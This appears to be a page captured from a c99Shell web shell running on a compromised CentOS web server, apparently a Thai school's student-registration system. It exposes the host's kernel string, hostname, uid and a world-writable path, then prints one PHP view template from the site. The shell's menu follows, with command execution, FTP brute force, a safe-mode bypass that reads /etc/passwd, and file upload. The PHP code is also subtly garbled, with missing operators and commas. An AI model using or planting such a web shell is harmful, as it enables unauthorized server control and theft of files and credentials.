!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_g_showDetailStudyPlan.php (6.98 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= isset($qu_cfg) ? $qu_cfg->row() : NULL;
$row_cur = isset($qu_cur) ? $qu_cur->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center"><br>
            <span class="h error">โปรแกรมการศึกษา</span>
            <?php echo form_open($this->config->item("rg_folder")."general/showDetailStudyPlan", array("name" => "myform""id" => "myform"));?><br />
            <table width="100%" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                            <td class="coltd_szone"><span><b>หลักสูตร</b></span></td>
                            <td>
<?php
                            $js 
"id=\"curId\" onChange=\"sendPost('hidform', {'curId':this.value,'typeLang':'T1'}, '".site_url($this->config->item('rg_folder').'general/showDetailStudyPlan')."')\"";
                            echo 
form_dropdown('curId'$rs_cur$curId$js);
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                            <td class="coltd_szone"><span><b>ภาษา</b></td>
                            <td>
                            <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'T1'}, '<?php echo site_url($this->config->item('rg_folder').'general/showDetailStudyPlan');?>')">ไทย - เลขอารบิก</span>
                            <br />
                            <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'T2'}, '<?php echo site_url($this->config->item('rg_folder').'general/showDetailStudyPlan');?>')">ไทย - เลขไทย</span>
                            <br />
                            <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'E'}, '<?php echo site_url($this->config->item('rg_folder').'general/showDetailStudyPlan');?>')">อังกฤษ</span></span></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
<?php
                
if ($curId) {
?>
                <tr>
                    <td height="22" align="right"><span class="error">ส่งออกเป็น</span>
                    <span class="hand" onClick="sendPost('hidform', {'curId':<?php echo $curId;?>,'typeLang':'<?php echo $typeLang;?>'}, '<?php echo site_url($this->config->item('rg_folder').'general/rptRis132');?>')">
                    <img src="<?php echo base_url().$this->config->item('rg_excel_exp');?>" /></span></td>
                </tr>
                <tr>
                    <td><span class="h error">โปรแกรมการศึกษา</span></td>
                </tr>
                <tr>
                    <td height="22"><span class="fontH"><b>หลักสูตร : </b><?php echo ($typeLang == 'E') ? getval('curNameE'$row_cur) : (($typeLang=="T1") ? th2a(getval('curName'$row_cur)) : a2th(getval('curName'$row_cur)));?></span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
<?php
                
}

                if (
$rs) {
                    foreach (
$rs as $syId => $val) {
                        
$row_sy = isset($rs[$syId]['qu_sy']) ? $rs[$syId]['qu_sy']->row() : NULL;
?>
                <tr>
                    <td height="22" align="center"><span class="h error"><b><?php echo ($typeLang == 'E') ? getval('syNameE'$row_sy) : (($typeLang=="T1") ? th2a(getval('syName'$row_sy)) : a2th(getval('syName'$row_sy)));?></b></span></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th width="60%" rowspan="2" align="center">รายวิชา</th>
                            <th width="10%" rowspan="2" align="center">หน่วยกิต</th>
                            <th width="30%" colspan="3" align="center">จำนวนชั่วโมง/สัปดาห์</th>
                        </tr>
                        <tr>
                            <th width="10%" align="center"><span>ทฤษฎี</span></th>
                            <th width="10%" align="center"><span>ทดลอง/ปฏิบัติ</span></th>
                            <th width="10%" align="center"><span>ศึกษาด้วยตนเอง<span></th>
                        </tr>
<?php
                        
foreach ($rs[$syId] as $tmId => $val) {
                            if (
is_int($tmId)) {
                                
$row_tm = isset($rs[$syId][$tmId]['qu_tm']) ? $rs[$syId][$tmId]['qu_tm']->row() : NULL;
?>
                        <tr bgcolor="<?php echo $this->config->item('rg_table_end');?>">
                            <td height="22" colspan="5"><span class="h error"><b><?php echo ($typeLang == 'E') ? getval('tmNameE'$row_tm) : (($typeLang=="T1") ? th2a(getval('tmName'$row_tm)) : a2th(getval('tmName'$row_tm)));?></b></span></td>
                        </tr>
<?php
                                $sumCreditTotal 
0;
                                
$sumPeriod1 0;
                                
$sumPeriod2 0;
                                
$sumPeriod3 0;
                                foreach (
$rs[$syId][$tmId] as $cdId1 => $val) {
                                    if (
is_int($cdId1)) {
                                        
$row_cd = isset($rs[$syId][$tmId][$cdId1]['qu_cd']) ? $rs[$syId][$tmId][$cdId1]['qu_cd']->row() : NULL;
?>
                        <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                            <td height="22" colspan="5"><span><b><?php echo ($typeLang == 'E') ? getval('cdNameE'$row_cd) : (($typeLang=="T1") ? th2a(getval('cdName'$row_cd)) : a2th(getval('cdName'$row_cd)));?></b></span></td>
                        </tr>
<?php
                                        
foreach ($rs[$syId][$tmId][$cdId1]['rs_sp']->result() as $row_sp) {
                                            
$sumCreditTotal += $row_sp->crsCreditTotal;
                                            
$sumPeriod1 += $row_sp->crsPeriod1;
                                            
$sumPeriod2 += $row_sp->crsPeriod2;
                                            
$sumPeriod3 += $row_sp->crsPeriod3;
?>
                        <tr>
                            <td height="22"><span><?php echo ($typeLang == 'E') ? explodeSquare($row_sp->crsCodeE.' '.$row_sp->crsNameE) : (($typeLang=="T1") ? th2a(explodeSquare($row_sp->crsCode.' '.$row_sp->crsName)) : a2th(explodeSquare($row_sp->crsCode.' '.$row_sp->crsName)));?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($row_sp->crsCreditTotal) : $row_sp->crsCreditTotal;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($row_sp->crsPeriod1) : $row_sp->crsPeriod1;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($row_sp->crsPeriod2) : $row_sp->crsPeriod2;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($row_sp->crsPeriod3) : $row_sp->crsPeriod3;?></span></td>
                        </tr>
<?php
                                        
}    // end foreach sp
                                    
}    // end if
                                
}    //    end foreach cdId1
?>
                        <tr bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>">
                            <td height="22" align="right"><span><b>รวมหน่วยกิต</b></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($sumCreditTotal) : $sumCreditTotal;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($sumPeriod1) : $sumPeriod1;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($sumPeriod2) : $sumPeriod2;?></span></td>
                            <td align="center"><span><?php echo ($typeLang=="T2") ? a2th($sumPeriod3) : $sumPeriod3;?></span></td>
                        </tr>
<?php
                            
}    // end if
                        
}    // end foreach tmId
?>
                    </table></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
<?php
                    
}    // end foreach syId
                
}    // end if rs
?>        
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--